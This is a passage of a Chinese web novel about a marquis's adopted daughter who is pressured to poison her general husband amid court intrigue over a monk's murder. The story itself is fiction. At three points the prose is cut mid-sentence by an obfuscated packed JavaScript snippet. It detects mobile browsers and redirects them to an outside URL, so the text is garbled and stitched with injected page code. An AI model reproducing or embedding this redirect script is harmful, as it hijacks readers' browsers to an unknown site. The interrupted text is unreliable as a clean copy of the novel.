“就来了。”温轻竹恋恋不舍地看着李嬷嬷,“嬷嬷,我先过去了,一会儿再回来陪你说说话。” -- 再说萧丞原这边,温尚达十分热情地邀他入府,他看了眼正在和嬷嬷说话的妻子,便随着温尚达等人进去了。 才在大厅坐了一会,那温紫衣已换了件鲜艳的衣裳,在他面前晃悠,直让人烦不胜烦,萧丞原放下茶盏,意有所指道:“在下素来喜静,不知侯爷可否与在下移步安静点的地方?” 温尚达脸上有些挂不住了,嘴巴翕动了好几下,才对骆宜秋道:“管好你女儿,别让她再乱跑。” 他也知道,紫衣如今这个样子都是他自幼惯的,只不过旁人尚给他三分薄面,眼前这个战功赫赫的少年将军却是不会顾及他的情面。 说完,他拂了拂衣袖,率先在前带路,“不如少将军还是与老夫去书房吧,那边安静。” “待会儿我再让人上些六安瓜片,少将军尽管享用。”他刚才发现,自己这位女婿尤爱喝六安瓜片,便投其所好道。 萧丞原并不搭理,只道:“侯爷先请。” 书房他上次虽来过,但也只是走马观花,并未细看,方才那话亦是把温尚达往这儿引,而来书房谈话才是他真正的目的。 “听说侯爷藏书众多,连前朝孤本都有涉猎,在下甚是佩服。” 听人聊到自己收藏的孤本,温尚达免不了得意道:“嘿嘿,不过是些不出名的书册,不值什么,少将军若是感兴趣的话,老夫可以送你几本。” “求之不得。” 两人说着话,便走到了书房。 “上次来得仓促,忘了问小女在将军府可尽了职责与义务?”温尚达待萧丞原落座,笑着问道。 萧丞原本在扫视书房布局及放置的物品,闻言,收回了目光,“轻竹在将军府很好,父亲和母亲都很喜欢她。” 温尚达却是叹了口气,“唉,贤婿可别回护她了,轻竹自幼在侯府被拙荆教养着,食指不沾阳春水,向来娇生惯养,更是没见过什么世面,当初就不该由着她挑中了你,她非要嫁给你,我和她母亲拦都拦不住啊,没法子只得依她了。” “幸而少将军你是个宽宏大量的,不嫌她粗笨。” 他还什么都没说呢,温尚达就开始撇清自己了,要不是他与温轻竹相处了这么久,说不定都要被这说辞骗过去了。 “轻竹并非侯爷眼中那么不堪,她一直都很好。”萧丞原不赞同道。 听了温尚达这番颠倒黑白故意抹黑的说辞,他简直都要气笑了。 她从小在侯府过得有多苦,在他这却是娇生惯养,什么都不会了,显然是将那温紫衣的习性安到了她身上。这么说也是为了圆当时的谎吧,毕竟捧在手心娇养的侯府嫡女怎么可能什么都会,万一被旁人知道,传到皇上耳朵里去,不就是欺君之罪了吗?毕竟这桩婚姻可是皇上亲自过问了的! “小女能得少将军喜爱,也不枉老夫夫妻俩教养一场。”温尚达干笑了两声,想想眼前人的战绩,到底是顺着圆了场。 随后他话锋一转,道:“少将军年少有为,前途自是不可限量,其实只要有心,搭上一条好船,天地会更加广阔。” 这话暗藏机锋,表面上实在夸赞萧丞原前途无量,实际上则是暗示他选边站队,最好是与自己上同一条船。 “侯爷谬赞了,在下不过是有一身蛮力罢了。”萧丞原只做不知他话中深意。 “哈哈哈哈哈哈,少将军太谦虚了。”温尚达也没再点明,而是请他用茶,“这六安瓜片是老夫一位多年好友相赠,味道还不错,少将军请。” 萧丞原饮了茶,再次打量了下这间书房,表面上看不出破绽,但也许其中就藏着某些秘密,这便是他一直提防安东侯府的原因。 “侯爷的书房真大,我能找本书看看吗?”他起身问道。 温尚达也跟着站了起来,“当然可以,少将军想看什么都行。” 萧丞原扫了扫书架上种类齐全的书籍,随手拿了一本《乐经》,翻开一看,竟有用笔圈画过的痕迹,他不动声色道:“想不到侯爷对乐理也有研究,在下随便看看,侯爷不介意吧?” “当然不介意。”温尚达连忙道,他沉着脸立在萧丞原背后,见对方似乎真的只是在看书,脸色才稍微缓和。 但愿这毛头小子没发现什么,温尚达心道。 原先他是想着,辅国将军萧鸿晟为人刚直不阿,向来不掺和朝堂之事,只是毕竟拥有一方军权,又威望甚高,特别是他那个大儿子更是从小就骁勇善战,如若不能拉拢为太子殿下所用,不如除之,那位的态度也是如此,因而便有了那瓶五石散。 可如今看来,萧丞原对他那养女温轻竹颇为上心,想必这场联姻到底还起点作用,也不枉养了温轻竹十几年,到底还是有点用处。起先他主动提出联姻,便是依着太子殿下的意思,想着找机会神不知鬼不觉地除掉萧家父子,可现在他改变主意了。 既然有温轻竹这颗棋子在,那就有望顺利拉拢萧家父子,活人比死人可有用处多了。 萧丞原翻看了几页,便将《乐经》放回原处,转头对温尚达道:“侯爷真是爱书之人啊。” “不过是平常爱收集些古书罢了,不值一提。”温尚达已恢复和善,他笑容可掬道,“少将军这几日查案属实辛苦,想来没少被殿下苛责吧?” “弘让法师之死震动朝野,殿下着急结案情有可原,受些斥责也是应该的。”萧丞原坐会先前的位子,平静道。 太子傅景朗手段狠毒,脾气暴躁,听说东宫的宫女太监每隔一旬便要换上一批新的,宫人们言行举止稍有行差踏错,轻则缺胳膊断腿,重则被凌虐至死,一旦伤了残了死了便被丢出去自生自灭,再换下一批。 平日里更是横行霸道,暴戾非常,臣子中不听从他的亦有下场凄惨的。 只是他在皇上面前表现得滴水不漏,在几位皇子中更是出类拔萃,深得皇上喜爱,不出意外待皇上百年之后,这天下便是太子的。 然则,太子的行径令许多臣子颇有怨言,一些人已暗中选好了队伍,也有一些保持观望的,因此太子那方的大臣以安定侯为代表,正想方设法游说中立的大臣,游说不成的,下场可想而知。 在法恩寺与傅景朗共处的那几日,萧丞原便深刻地感受到了他的暴怒无常,只是旁人问起,他当然不能说太子的不是。 “少将军的能力大家都有目共睹,查案也不急于一时,殿下也不是不讲道理之人,只要少将军有耐心一些,多与殿下讲一讲案件细节,想必殿下会赏识你的。”温尚达出主意道。 “届时,少将军可要在殿下面前多为在下美言几句啊,毕竟咱们也是一家人呐。” 萧丞原颔首:“那是自然,侯爷整日奔波操劳,殿下若是知晓了你的付出定然有赏。” 案件细节?呵,哪来的细节,早就被毁得干干净净,他既然敢主动提起,那便是有恃无恐了。当晚在那个节骨眼上出现在法恩寺,很难说在这件事上他能撇清干系。 只不过眼下,萧丞原看出温尚达急于求成,甚至说要自己替他在太子面前美言几句,看来是办事并不得太子欢心,他便将计就计随口应承了。 见萧丞原答应得干脆,温尚达喜不自胜,又给他添了杯茶,“贤婿啊,我家轻竹果然没看错你。” 萧丞原不动声色饮下了茶,并未吭声。 从今日这番交谈来看,弘让法师多半亦是中正之人,不为名利所惑,对太子的拉拢不为所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16150228|178795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动,这才被害了性命吧,至于太子想要的真相,也只是想找出个滴水不漏的说法,好堵住悠悠众口罢了。 就像对自己那样,那晚温尚达出现在法恩寺,给了温轻竹一瓶五石散,便是要害了自己性命,可今日不知怎的,似乎改变了主意,说服自己与他上同一条船。 萧丞原在心里慢慢思量着,并未表现出来,只面上一副焦急的模样,“侯爷,这茶已品了,在下也该是时候找轻竹了。” “去吧去吧,哈哈哈哈哈,少将军对轻竹真上心呐。”温尚达靠在太师椅上,随意道。 经过今日的交谈,短短几句话也许就为太子殿下拉拢了一位得力干将,此刻他已经开始遐想往后的好日子了。 -- 温轻竹到书房时,只有温尚达一人在,她莫名有些心慌,但还是硬着头皮进去了。 “父亲,少将军呢?”温轻竹疑惑道。 “轻竹,过来。”温尚达坐在太师椅上,并未回答她的问题,而是道,“你知道我叫你来是因为什么吗?” “轻竹……不知。”温轻竹上前几步,硬生生道。 左右无非是那件事罢了,她在心里道。可是,她又怎能说得出口,那可是伤人性命的恶毒之事! “难怪少将军对你赞不绝口,”温尚达眯着眼,眸光闪过一丝锐利,“看来你是被他的皮相迷惑,心软忘记为父给你的任务了。” 温轻竹猛地抬头:“我没有。” 她没有忘,也不敢忘,因为她不敢拿李嬷嬷的性命来赌,只是……只是她觉得,一个征战沙场、保家卫国的青年将军,就算是牺牲,也只能是牺牲在战场上,而不是被人设计陷害惨死,那样太屈辱了。 更何况,那人是她名义上的夫君,她不能害人,也不能置李嬷嬷的生死于不顾,她得想一个两全的法子骗过温尚达才行。 “父亲,我已按照你的吩咐,在吃食里给他下了五石散。”温轻竹低着头,不敢看向温尚达的眼睛,“只是,我还需要一些时间,不敢贸然加大剂量……” “你做的很好,”温尚达点点头,“不愧是我的女儿,放心吧,爹知道你担心什么,放心吧,李嬷嬷只要在侯府一日,我定然好生善待她。” “谢谢父亲。” 温尚达叹了口气,看似关心道:“也是为难你了,轻竹,你下药时是不是很不舍啊?” “没有,”温轻竹狠了狠心,“这一切都是为了侯府,轻竹晓得,原本这场婚事也不是我的。” 不知为何,她在说出这句话时,心莫名慌了,好像有什么飞快流失了,这是从未有过的强烈的感觉。温轻竹攥紧了双手,竭力不去多想,只专心应付温尚达。 窗外的梧桐树上,隐匿在茂密枝叶间的男人跃下了枝头,心间陡然升起一种无力感,以及一股恨意快要将他吞噬。这促使他避开守卫,一路疾行到荒废的庭院,用尽力气在树上打了好几拳,葱郁的树叶纷纷扬扬落下,在地上铺了一层绿毯,他也顾不上去想什么,颓然靠着树坐下。 为什么?他以为这桩婚事即便一开始是错的,至少她的所作所为是喜欢自己的,可到底是他想岔了,原来她和那些细作没什么两样,都是带着任务接近自己,还想要害自己性命。 男人嗤笑了一声,是在笑自己,多么可笑,他差点陷进了她装出来的柔情蜜意。 书房里,温轻竹浑然不觉外面发生了什么,只是忐忑地等着温尚达的下一句话。从小她就被随便养在侯府里,很难见到父亲一面,也就是她出嫁后,大概是发现她还有点价值,这才开始注意到她了,只是每次都假惺惺的,毫不掩盖想要利用她的心思,这种关爱她宁可不要。 温尚达听了这话,宽慰道:“女儿啊,不必紧张,为父只是随口问问。” “干大事者,岂能困于儿女情长,爹问你这些还不是为了你。至于婚事,如今你是将军府的少夫人,那便是你的,谁也抢不走,往后可不许再提起此事了,以免隔墙有耳,传出去不好听。” “是,都听父亲的。”温轻竹含糊应道,她心慌得越来越厉害了,简直坐立难安。 “其实爹叫你来是为了告诉你,先前交代的事你可以不继续,”见温轻竹抬头看自己,温尚达又道,“爹知道你心软,下不去手也正常,爹不怪你,现在爹改变主意了。” 温轻竹不敢相信道:“真的吗,父亲?我不用再下药了?” “嗯,你听爹说,现在爹需要他,太子殿下更需要他,所以他不能死。”温尚达眼里闪烁着志在必得的光芒。 随而又恶狠狠道:“但倘若他不配合,原先的计划还是要继续执行的。” “轻竹,你明白吗?” “明白了,父亲。”温轻竹眼睫轻颤了一下,刚刚那点喜悦烟消云散。 她明白,温尚达是要她监视萧丞原的一举一动,如果他回去后没有选择太子的阵营,那么便没有再留他性命的必要了,到那时恐怕就不一定只是五石散了。 27. 心事 温轻竹从书房出来,便急急忙忙朝着正厅走去,却不料只有牧方守在那里,没有看见萧丞原的身影。 “少将军呢?”她惊慌失措道。 不知为何,她总觉得在书房里说出那句话时,她的心似乎也缺失了一角。 “这……我也不知道。”牧方摸了摸脑袋,“少将军自从进了府,就和侯爷一起去了书房,至今没有回来。” 温轻竹稍微安定下来,也就是说萧丞原在她之前进的书房,虽不知温尚达与他说了什么,但人此刻应当还在侯府,也许是去散步了吧。 玉露见姑娘回来了,欢喜地迎上前来,“姑娘,你怎么去了那么久?刚刚和李嬷嬷说了什么呀?” “不过是看看嬷嬷过得好不好,与嬷嬷多说了会儿话,这你也要过问么?”温轻竹说道。 “我就问问,”玉露撅起嘴,“我刚也去找过李嬷嬷了,只是她说什么也不肯和我们一起去将军府,唉,真不知道她怎么想的。” 她和姑娘的想法一样,觉得李嬷嬷年岁大了,就该在身边养老,只是她却似习惯了那个破旧的小屋,不管怎么劝也不肯离开。 温轻竹也无可奈何,只道:“嬷嬷自有她的想法,就随她吧。” “哟,二妹妹这次回来是专程探望你那个老嬷嬷的吧。” 主仆俩正说着话,温紫衣人未至声先到了。 她虽穿的不是多华丽的衣裳,只是素色的百褶裙,可细看也能瞧出是用蚕丝织成的上等衣料,其间点缀朵朵桃花,衬得她整个人贵气了不少,头上亦是插了好几支流光夺目的簪子。 “大姐姐。”温轻竹唤了一声。 “你倒还认得我这个姐姐,”温紫衣手中拿着一朵含苞欲放的荷花,嗤笑道,“我还道你攀上将军府的高枝,是要与我们侯府划清界限呢,怎的回来也不拜见爹娘,与姐妹说说话,反而只顾着与李嬷嬷叙话了。” 温轻竹不卑不亢道:“李嬷嬷是打小照顾我长大的,我与嬷嬷亲如家人,大姐姐想必是知晓的。” “只是大姐姐,父亲向来教导我们要友好相处,不要忤逆了父亲才好。” “你……”温紫衣扬起手掌刚要落下,想起先前父亲的教诲,再加之此处还有将军府的人,闹大了总归不好,只得作罢。 “对了,大姐姐可否知晓少将军去了何处?”温轻竹带着玉露等人正要离开,想起上次回门发生的事情,还是问了一句。 “他在哪我怎会知晓?”温紫衣转过身来,没好气道,“你不会以为我会把他藏起来吧,真是,谁要和你抢男人了。” 见众人不大相信的样子,温紫衣又加重了语气,“告诉你们,本姑娘现在有喜欢的人了,他玉树临风,芝兰玉树,是天底下最最清绝的公子。” 温轻竹只回头对玉露和牧方道:“走吧,我们去找少将军。” 她这个嫡姐个性是张扬了些,不过她没做过的事没必要撒谎,她说的应当是真的。 温紫衣见她就这样走了,忙叫道:“温轻竹你站住,我还有事问你!” “大姐姐还有何事?”温轻竹停下了脚步,问道。 “这个……你先让他们退下!”温紫衣却突然扭捏起来,指了指玉露和牧方二人,“我有些私事要问你,此事不便旁人知晓。” “你们退下吧。”温轻竹将信将疑地看了玉露和牧方一眼,玉露摇了摇头,牧方更是眼神坚定地立在原地。 “我要保护姑娘(少夫人)的安危!”两人异口同声道。 上次都险些着了她的道,这次切不可掉以轻心了。 温紫衣恼羞成怒,脸涨得通红,“真是刁奴!” “你想对她做什么?”正僵持间,一道熟悉的男声飘了过来,话语里充满了怒气。 “少将军,我没有。”温紫衣被这声怒吼吓了一跳,瞬间没了气势,低声回道。 萧丞原瞪了她一眼,没再理会。 温轻竹忙道:“少将军,你方才去哪了?” “随便转转。”萧丞原沉声道。 两人继续往前走,没再管欲言又止地温紫衣。牧方本打算跟上两位主子,被旁边的玉露使了个眼色,只好立在原地等。 萧丞原手里把玩着一片叶子,没什么情绪道:“李嬷嬷要接到将军府吗?” 他知道温轻竹替嫁是迫不得已,一切都是为了保住这个自小伺候她的嬷嬷的性命,纵然亲耳听到的真相是那么刺痛人心,可他想,只要她开口坦白,他都会出手帮她的。 温轻竹摇了摇头:“多谢少将军的好意,但不用了。” 她起初是想李嬷嬷跟着她到将军府享福,可如今她已在为离开做打算,将军府也并非就真的那样好,倘若李嬷嬷亲眼看到她与萧丞原是如何相处的,恐怕又会担心她了,她不想嬷嬷再为自己操心。 此外,若真有那么一天,她和玉露两个人逃离将军府已是很大的目标了,再带上李嬷嬷恐怕很难逃出去,倒不如让李嬷嬷先待在侯府,目前她对温尚达还有利用价值,他们应当不会轻易对李嬷嬷下手的。 “为何?你不是很担心她吗?”萧丞原疑惑道。 温轻竹回道:“嬷嬷年纪大了,不想折腾,再说了,如今侯府待她也不错。” 萧丞原点点头,揉着手心的树叶,冷笑道:“原来如此,看来是我多管闲事了。” 说完他便扬长而去,浑然不顾绿色的枝叶从指缝流出。 原来是他自作多情了,以为她就算被温尚达逼迫,迟早也会敞开心扉,交付真心。至少,至少在需要帮助时能想到他,可是她竟然拒绝了,宁愿让从小陪伴自己的嬷嬷在侯府受苦,也不请自己出面向侯府要人,而且还是用那么蹩脚的理由。 待两人一前一后回来后,玉露和牧方对视了一眼,都从对方眼中看到了大大的疑问。 怎么独处了一阵子反而感觉气氛更怪异了呢? 是不是你家少将军又说错了话?玉露以眼神示意道。 我不知道,你可不能平白无故冤枉少将军。牧方同样瞪了她一眼。 玉露:那我不管,姑娘眼眶红红的,准是少将军惹的。 牧方:…… 直到两位主子上了马车,他们二人才消停了下来,只是一时谁也不理谁。 因着先前的事,回程变得煎熬了起来。 这次回侯府本就是探望李嬷嬷的,温轻竹骤然从李嬷嬷口中得知了自己的身世,再加上温尚达的那番话,一时难以静下心来思考。她现在思绪很乱,没多少心思去想萧丞原为何突然阴晴不定起来,她还有很多事等着回将军府处理。 萧丞原同样沉默着,索性闭上眼小憩一会。 回到将军府后,萧丞原便去书房与萧鸿晟议事,没有给温轻竹留一句话。 正好,温轻竹也有许多事尚待处理,径直回了主院。 回到房间,玉露迫不及待问道:“姑娘,你和少将军怎么了?” “没什么。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170571|178795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温轻竹从袖袋里掏出用手帕包好的药材,递给玉露,“尽快出府找个大夫瞧瞧这些药材有没有问题,要悄悄地去,别被人看见了说不清。” “这是什么?”玉露果然把注意力转移到这几味药材上。 “他们给李嬷嬷的,说给嬷嬷补补身体。” 玉露自然知道“他们”指的是谁,当即骂道:“坏心肠的东西,肯定没安好心!” “放心吧姑娘,我一定把这事办妥。” 玉露走后,温轻竹继续抄着书,还剩一点这本书就抄完了,过个一两日便可交给书铺,再取一本新的来抄。按照纪良衡所说,抄一本书是三两银子,抄完一本便可结算,抄两本便是六两银子,她多抄几本就能攒够逃跑的盘缠钱了,路上再省省,还可攒下做生意的本钱,她和玉露还有李嬷嬷也不至于饿肚子。 抄了好一会才把剩下的抄完,小心地装进木匣里,又等了片刻玉露才回来。 “怎么样,大夫怎么说的?”温轻竹急忙问道。 玉露是跑回来的,大口喘着气,喝了一杯冷茶,才道:“大夫说,这些药材没问题。” “没问题就好。”温轻竹舒了口气。 “可是……”玉露话到嘴边又咽了回去,她不知道怎么开口。 温轻竹察觉到她的异样,“怎么了?” “就是我回来的时候,碰到了少将军身边那个凶巴巴的大高个儿,他拦住我问我出府干什么去了。” “你说的可是肃玄?”温轻竹听了这描述,脑海里就浮现出了一个人的影子,随而继续问道,“那你是怎么回答他的?” “我就说姑娘想吃甜的,让我出去买了包蜜饯。”玉露拿出了一包蜜饯,“他看了这蜜饯一眼,也没再说什么了。” “看我聪明吧,姑娘。” 温轻竹“嗯”了一声,让玉露先下去,她总觉得事情没那么简单。 肃玄是萧丞原身边的得力下属,但很少出现,时常帮他调查一些隐秘之事,他若没有发现什么还好说,万一查了出来,虽说只是去查一下药材,传到萧丞原那里,难免有些麻烦。 她担心了好一会,幸而萧丞原大概是去忙了,并没有来问她什么。 已是掌灯时分,四下无人,温轻竹点了蜡烛,把门窗关得严严实实的,从袖袋里取出包好的鎏金莲花珍珠嵌玉镯,在烛光的照射下,仔细端详着上面的每一个纹路,一一抚摸着。 镯子是冰冷的,但透过镯子,她仿佛感受到了娘亲留下的温暖,也许这便是亲生父母与她在这世间唯一的联系了吧。 在不知道真相之前,她无数次想,亲生父母为什么不要自己,他们是不是不喜欢自己,他们知不知道自己在侯府过着什么样的日子,知不知道自己有多羡慕被捧在手心的温紫衣? 可当她知晓这一切,知晓她的身份其实是从前不敢妄想的那么尊贵时,却突然觉得,那些都不重要了。 她宁愿做一个平凡人,哪怕没有玉食锦衣,住在一个依山傍水的小院里,日日靠双手劳作换取衣食。 温轻竹这样想着,收起了镯子,把它放在衣柜最里面的首饰盒里,并上了锁。这个镯子只能说是娘亲留给自己的念想,她不打算认亲,也不想回到那个令娘亲感到窒息的皇宫。 她现在只想靠自己的双手赚钱,攒够银两逃出牢笼,她不想再当谁的棋子,也不想一直忍受被人怀疑的滋味,她只想要自由。 她想,这或许也是娘亲希望看到的。 28. 银耳羹 夏日蝉鸣聒噪,一大早便蝉鸣声声,震得人耳朵疼,只想去树上将它们网了下来。 主院树种的多,蝉声更是恼人,不得已,玉露叫了几个丫鬟拿了竹竿去吓唬那些蝉。大多数蝉没等竹竿靠近便飞走了,少数在高处的竹竿碰不到,依旧得意洋洋地叫个不停,似在耀武扬威。 一时间院子里热闹极了,小丫鬟们一边用竹竿敲打着枝干,一边闲聊着。 “行了,你们都下去干活吧。”温轻竹出来道。 “是,少夫人。” 玉露放下手里的竹竿,上前问道:“姑娘,待会儿咱们去哪儿?” 晨起的时候,姑娘便让她找了方便出行的衣裳,想来是有出门的打算。 “去茶肆。”温轻竹浅笑道。 去茶肆赚银子,谁不高兴呢?这本书抄好了,她很快便能得一两银子的抄书费。 玉露亦是一脸迫不及待,“好,那咱们快去吧。” 萧丞原只在家待了几日,又被太子召回了法恩寺查案,是以她在府里能够自在地做自己想做的事,出府只需和吴雪离知会一声即可,她向来不会管这些琐事。 来到茶肆,温轻竹便把装有书的木匣交给伙计,来过两次,那伙计已经眼熟她了。 “姑娘请稍坐一会儿,我这就去请人。” 按照先前的约定,会有书铺的人来此取抄好的书稿,并换上下次需要抄的书,温轻竹以为来的会是书铺的伙计,可没想到,等了一会,那茶肆伙计却带来了纪良衡。 “要一壶碧螺春。” “好嘞,纪公子您稍等。”伙计复又退下。 “纪公子,你怎么来了?”见人已在自己对面坐下,温轻竹发出了疑问。 “正好无事,想着你该抄好书了,便替友人走这一趟。”纪良衡笑得和煦,“温姑娘不必介怀。” 温轻竹更加过意不去了,“一桩小事,怎好麻烦纪公子呢?” 伙计将泡好的碧螺春放在桌上,给两人斟了茶,“请慢用!” 纪良衡拿起茶盏,吹走漂浮的茶叶,小啜了一口,才接着说道:“举手之劳而已,温姑娘别多虑了,一路走来想是累了,快喝口茶解解乏。” 温轻竹只好依言饮了杯中茶。 前十几年生活在侯府,她很少感受到除了李嬷嬷和玉露之外的人的善意,更多的是旁人的欺辱嘲笑,也就是在清水巷被那些朴实宽厚的人关照过,陡然碰到纪良衡这样一而再再而三帮助自己的人,她还真有些不太适应。 “纪公子心肠真好!”玉露也在旁边说道。 纪良衡笑了笑,风轻云淡道:“能帮到姑娘就好。” “对了,纪某此次来是有好消息要告诉姑娘,我已派了随从去跑腿,应当用不了多久,辛苦姑娘在这多坐一会儿了。” 由于先前的插曲,为了避免温轻竹再受人冒犯,纪良衡包下了雅间,比外间清幽舒适许多。 温轻竹仍旧让玉露出去守着。 玉露却犹豫了一会,“可是姑娘……” 虽然纪公子人很好,可终究是外男,姑娘与他独处到底不妥,这又不比得上次在外间,外间有很多客人,只叫她在茶肆外头守着倒也没什么。 “玉露也是担心姑娘你,就让她留在这儿吧。”见她一脸为难,纪良衡先开口道。 温轻竹不好意思道:“纪公子君子端方,是轻竹太过狭隘了。” “无妨,姑娘家名节最为紧要,况且温姑娘已有了夫家,更要注意些,玉露此举并无不妥,何况有她在也能做个见证,纪某可不想再被萧小将军横眉冷对了。”说到后面,纪良衡不由苦笑了一下。 温轻竹也只好道:“纪公子说笑了,少将军他那日是误会你了,我代他向你赔个不是,公子千万别往心里去。” “那是自然,我也只是随口说说罢了。”纪良衡低头,嘴角是一抹苦涩的笑,很快又消失不见。 “不过话说回来,姑娘抄书抄得真是又快又好,我那友人定会满意的。”纪良衡用松快的口吻道。 玉露也道:“是呢,姑娘一有时间就抄书,我瞧着姑娘写的比那书上的字都不差呢。” 温轻竹不好意思道:“我是怕掌柜等久了,左右也是闲着,便抽时间抄了也好早点交付。” 这是其一,其二是她想通过自己的双手尽快攒够银子离开。 “纪某果然没看错人,这差事交给温姑娘做极为稳妥。”纪良衡赞道。 在雅间坐了一会,续了两回茶水,纪良衡的随从便回来了,还带来了一个人。 “公子,事情都办妥了。”随从将木匣放在桌上,对两位主子介绍跟在他身后局促不安的人,“这便是花农李二牛,他家世代侍弄花草,对各种花卉都有研究。” 李二牛一脸朴实,“贵人好,俺是李二牛,你们有什么需要尽管吩咐俺。” “李大哥,你家有千层红吗?”纪良衡问道。 “千层红,就是能染指甲的?俺家山上可多了,就是俺还没娶上媳妇,也没什么用。”李二牛说到后面,还有些羞涩。 温轻竹听了,激动不已,她正愁千层红的事呢,没想到纪公子都办好了,还将人带到了自己面前,她忙道:“还有其他人找你买千层红吗?” 李二牛摇摇头:“那东西满山都是,俺从来没管过,应该也不值什么钱。” 温轻竹与纪良衡对视一眼,她眼里闪着光,明亮极了,“那这样,李大哥,以后你的千层红我要了,放心吧,我不会让你吃亏的。” 了解了千层红如今的价钱,温轻竹按照市价以一斤三十文的价格收购千层红,李二牛满口答应,喜不自胜地回去采摘千层红了,表示这两日便送过来,到时候她就可以用这些千层红制成蔻丹了。 李二牛走后,温轻竹再次对纪良衡道谢:“纪公子,真是给你添麻烦了,多谢你帮了我这么大忙。” “姑娘客气了,谁都有需要别人拉一把的时候,温姑娘日后发迹了,可别忘了纪某啊。”纪良衡半是打趣道。 “自然,轻竹一定铭记纪公子的大恩。” 温轻竹打开木匣,看了眼下本要抄的书,和纪良衡约定了下回交书稿的时间,就带着玉露告辞了。 “公子,人都走远了,咱们是不是也该回府了,再晚些要被老爷骂了。”随从催促道。 眼看要变天了,纪良衡叹了口气,“走吧。” 他心道也不知道温姑娘她们到家了没有。 -- 温轻竹刚回到主院没一会,便听下人说萧丞原回来了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16186551|178795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 想想这两日忙着抄书,没有关注过他的消息,也不知案件是否有了进展,便想着给他做点消暑的饮品,尽一尽为人-妻子的义务,也好让吴雪离少操点心,她知道,自入府以来这个婆母一直很关心二人的情感状况。她还后知后觉,就连上次去法恩寺上香吴雪离许的愿也是她早日为萧家诞下孙儿。 本着不让长辈操心的原则,温轻竹去厨房做了雪梨银耳羹,想着等萧丞原回来用一碗解解暑。 只是等了好一会儿,也不见他人影。 “你去看看,少将军是不是在母亲那里?”温轻竹对玉露道。 没一会,玉露便回来了,“少将军不在老夫人那。” “那他在哪里?你看到牧方了吗?” 他能从法恩寺回来,说明案件至少已进入收尾阶段,应当没那么忙碌了,怎么还不回来? 温轻竹心想,总不能是前几日回侯府生的气,现在还没好吧?说实话她也不懂,为何在自己说出李嬷嬷不愿来将军府后,他发了那么大的脾气。 “唉,姑娘你就别问了。”玉露看着自家姑娘焦急的神情,有些不忍心道,“少将军此刻恐怕没空见你呢。” 她方才去老夫人那里没找着少将军,回来路上便远远见着他和崔怜霜在园子里赏花呢,甚至看见他手上捏了朵栀子花,似乎正要往那位表姑娘头上戴呢。 “他为何没空?”温轻竹问道。 莫不是许久没去军营了,需要处理军中事务。 “总之,姑娘你就别问了。”玉露望着桌上的雪梨银耳羹,“姑娘这么好的厨艺,有人不珍惜,那眼睛或许是做摆设的。” 真是难为姑娘花时间了,变着花样给他做吃食饮品,她想吃还不一定吃得到呢。 温轻竹瞬间明白了什么,脸色一下子变了,强忍着不适道:“玉露,你不是早就想吃银耳羹了吗?这些都给你。” “谢谢姑娘!”玉露舀了一碗,拿起勺子正要往嘴里喂,想想又停了下来,安慰自家姑娘道,“姑娘也别伤心,三条腿的蛤蟆不好找,两条腿的男人多的是,没必要就认定他了。” 温轻竹哭笑不得。 “咳咳。” 一阵咳嗽声打断了玉露咀嚼的动作,她含着满嘴的东西扭头看去,只看到牧方对她比了个“自求多福”的手势。 “你刚说什么□□?”萧丞原把玩着手里的栀子花,一阵清香扑鼻。 玉露:“……” 完蛋了。 她艰难地咽下嘴里的食物,不敢说话。 “哦,玉露在给我讲故事呢,少将军是刚回来吗?”温轻竹冷淡道。 “刚去看了母亲,回来路上看见栀子花开了,想来很是衬你。”萧丞原走近几步,将那朵栀子花别到她的发间,“果然很适合你。” 温轻竹愣住了,意识到他在夸自己,脸不争气地就红了。 “我渴了,银耳羹还有吗?”他转而看向玉露。 “有的,少将军。”玉露呆滞地点点头。 而后拿起自己那碗,艰难地缩到角落里,用十分难看的表情一勺一勺吃着。 没办法,温轻竹只得命人新添了副餐具给萧丞原。 牧方幸灾乐祸地看着玉露,眼神分明在说:谁让你乱说话的。 29. 结案 六月末的一天,大理寺宣布,弘让法师被害并辅国将军夫人被劫之事即将结案。 当天,萧丞原带着温轻竹前往大理寺,等待最后的结果。吴雪离因上次受了惊,身体一直不大好,在家中礼佛,便没有同来。 他们到时,太子傅景朗已等候多时,萧丞原忙拉着温轻竹与太子见礼。 “末将(臣妇)见过殿下。” “萧小将军不必多礼,”傅景朗示意二人落座,而后看向温轻竹,“这位便是你才过门不久的夫人,安定侯的女儿?” “是的,殿下。”萧丞原回道。 傅景朗饶有兴致地上下打量一番,笑着道:“想不到长安城还有这么美的女子,萧小将军真有福气啊。” “你姓温,是吧?”他又瞄了温轻竹一眼,眼神里饶有兴味。 温轻竹手紧紧捏着坐椅,回避了傅景朗的目光,紧抿着嘴唇,一言不发。 